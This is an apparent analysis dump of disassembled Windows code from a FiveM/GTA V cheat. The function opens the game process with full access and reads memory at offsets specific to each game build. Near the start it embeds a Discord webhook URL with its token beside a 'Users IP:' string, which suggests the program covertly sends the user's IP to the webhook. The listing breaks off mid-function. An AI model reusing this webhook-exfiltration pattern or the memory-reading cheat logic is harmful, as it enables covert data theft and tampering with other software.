Function at 0x140006470
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x140067010]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov r12, rcx
xor r13d, r13d
lea rcx, [rsp + 0x78]
call fcn.140005970
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 0xf
mov ecx, 0x80
call fcn.140053600
mov rcx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], 0x79
mov qword [rsp + 0x70], 0x7f
movaps xmm0, xmmword [str.https:__discord.com_api_webhooks_1243271590502862878_df3YL1nH1ccY6_5OhfBDYJ9tWJuwqe0FB5WkkDF0aadFtnURzuHIbjoVArhR_2azDSS8]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140056a20]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140056a30]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140056a40]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140056a50]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140056a60]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140056a70]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x140056a80]
movsd qword [rax + 0x70], xmm0
movzx eax, byte [0x140056a88]
mov byte [rcx + 0x78], al
mov byte [rcx + 0x79], r13b
mov r15, qword [rbp - 0x78]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x14
jb 0x1400078cc
lea r14, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae r14, qword [rsp + 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r15 + 0x14]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x140006627
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400065e8
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053600
test rax, rax
je 0x14000669b
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140006622
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140006610
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400078d2
jmp 0x1400065c9
test rcx, rcx
je 0x14000661f
call fcn.140053600
mov rdi, rax
jmp 0x140006622
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.Honolulu_Users_IP:]
movups xmmword [rdi], xmm0
mov eax, dword [0x140056aa0]
mov dword [rdi + 0x10], eax
lea rcx, [rdi + 0x14]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140005b60
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400066a7
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053644
xor edx, edx
lea rcx, str.grcWindow
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140151138], rax
test rax, rax
jne 0x1400066d5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008170
mov rax, qword [0x140151138]
lea rdx, [0x140151128]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [0x140151128]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140151120], rax
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, 1
test eax, eax
je 0x14000676a
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000676a
nop
lea rdx, [0x140056aa8]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006740
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140006900
mov byte [0x140151118], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b2545_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056af0]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056af8]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x25667e8]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov rdx, qword [0x140151130]
add rdx, 0x1f2e7a8
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x1fd6f70
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [0x140151110], 0x1fd7b48
mov rax, qword [rsp + 0x50]
mov qword [0x1401510e0], rax
mov qword [0x1401510f0], 0xd30
mov qword [0x1401510f8], 0x908
mov qword [0x140151100], 0x938
mov rdx, qword [r12]
add rdx, 8
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510e8], rax
mov qword [r12 + 0x38], 0x10c8
jmp 0x1400077d6
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000696a
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000696a
nop dword [rax]
lea rdx, [0x140056b00]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006940
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140006a99
mov byte [0x140151118], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b2699_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056b48]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056b50]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x26684d8]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov rdx, qword [0x140151130]
add rdx, 0x20304c8
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x20d8c90
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [0x140151110], 0x20d9868
jmp 0x140006894
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006afc
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140006afc
lea rdx, [0x140056b58]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006ad2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140006bb1
mov byte [0x140151118], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x14
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_GTAProcess.exe]
movups xmmword [rax], xmm0
mov ecx, dword [0x140056b98]
mov dword [rax + 0x10], ecx
mov byte [rax + 0x14], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x247f840]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [0x140151130]
add rdx, 0x1efd4c8
jmp 0x140006cd9
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006c1a
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140006c1a
nop word [rax + rax]
lea rdx, [0x140056ba0]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006bf0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140006d60
mov byte [0x140151118], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b2060_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056be8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056bf0]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x24c8858]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [0x140151130]
add rdx, 0x1ec3828
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x2087780
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510e0], rax
mov qword [0x140151110], 0x20d9868
mov qword [0x1401510f0], 0xd28
jmp 0x1400068ab
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006dca
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140006dca
nop dword [rax]
lea rdx, [0x140056bf8]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006da0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140006ef9
mov byte [0x140151118], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b2372_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056c40]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056c48]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x252dcd8]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov rdx, qword [0x140151130]
add rdx, 0x1f05208
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x1f9e9f0
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [0x140151110], 0x1fd8570
jmp 0x140006894
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006f5c
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140006f5c
lea rdx, [0x140056c50]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006f32
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x1400070c3
mov byte [0x140151118], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b2612_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056c98]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056ca0]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x2567db0]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov rdx, qword [0x140151130]
add rdx, 0x1f77ef0
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x1fd8570
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [0x140151130]
add rdx, 0x20d9868
mov rax, qword [rsp + 0x50]
lea r8, [rsp + 0x50]
mov r9d, 8
mov qword [rsp + 0x20], r13
mov qword [0x1401510e0], rax
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x140151110], rax
jmp 0x1400068a0
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000712a
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000712a
nop dword [rax]
lea rdx, [0x140056ca8]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007100
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140007255
mov byte [0x140151118], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b2189_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056cf0]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056cf8]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x24e6d90]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov rdx, qword [0x140151130]
add rdx, 0x1ee18a8
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x1f888c0
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [0x140151130]
jmp 0x140007089
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400072ba
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400072ba
nop
lea rdx, [0x140056d00]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007290
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140007420
mov byte [0x140151118], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b2802_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056d48]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056d50]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x254d448]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov rdx, qword [0x140151130]
add rdx, 0x1f5b820
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x1fbc100
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [0x140151130]
add rdx, 0x1fbccd8
mov rax, qword [rsp + 0x50]
lea r8, [rsp + 0x50]
mov r9d, 8
mov qword [rsp + 0x20], r13
mov qword [0x1401510e0], rax
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [0x140151100], 0x918
jmp 0x14000777b
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000748a
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000748a
nop dword [rax]
lea rdx, [0x140056d58]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007460
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x1400075b5
mov byte [0x140151118], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b2944_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056da0]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056da8]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x257bea0]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov rdx, qword [0x140151130]
add rdx, 0x1f42068
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x1feaac0
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [0x140151130]
jmp 0x1400073e7
xor bl, bl
mov dword [rbp - 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000761a
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000761a
nop
lea rdx, [0x140056db0]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movzx ebx, bl
test eax, eax
cmove ebx, esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400075f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14000780a
mov byte [0x140151118], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140053600
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x1a
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.FiveM_b3095_GTAProcess.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140056df8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140056e00]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x140151120]
call fcn.140007cb0
mov qword [0x140151130], rax
lea rdx, [rax + 0x2593320]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d0], rax
mov rdx, qword [0x140151130]
add rdx, 0x1f58b58
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
